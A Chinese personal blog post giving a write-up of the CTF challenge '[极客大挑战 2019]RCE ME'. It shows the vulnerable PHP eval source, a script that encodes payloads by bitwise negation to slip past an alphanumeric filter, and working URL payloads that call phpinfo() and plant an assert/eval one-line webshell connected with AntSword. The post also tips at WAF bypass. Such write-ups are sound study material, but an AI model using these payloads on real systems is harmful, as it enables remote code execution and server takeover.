Z1d10tのBlog

A note for myself,have fun!

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这道题就是通过取反构造无数字字母rce的

其实这种构造奇淫rce的 明白原理之后 直接当个脚本小子做起题来嘎嘎快

生成脚本如下:

1
2
3
4
5
6
7
<?php
$ans1='assert';//函数名
$ans2='eval($_POST[x])';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
?>

直接构造system('ls')发现不可以

就很奇怪 构造phpinfo()找不到思路就去看看配置文件 这个真的很重要

payload:?code=(~%8F%97%8F%96%91%99%90)();

img

发现原来是好多函数被禁了 难怪执行不了

构造assert(eval($_POST[x]))生成一句话木马用蚁剑去连接

注意这种eval()中再嵌套一个assert(eval())的方式 有时候可以绕过waf

payload: ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%87%A2%D6);

img

接下来的思路就是怎么绕过disble_function 具体方式可以看我这一篇文章 这里就不赘述了 https://z1d10t.github.io/post/db3afe26.html?highlight=disable

img

本文最后更新于 天前,文中所描述的信息可能已发生改变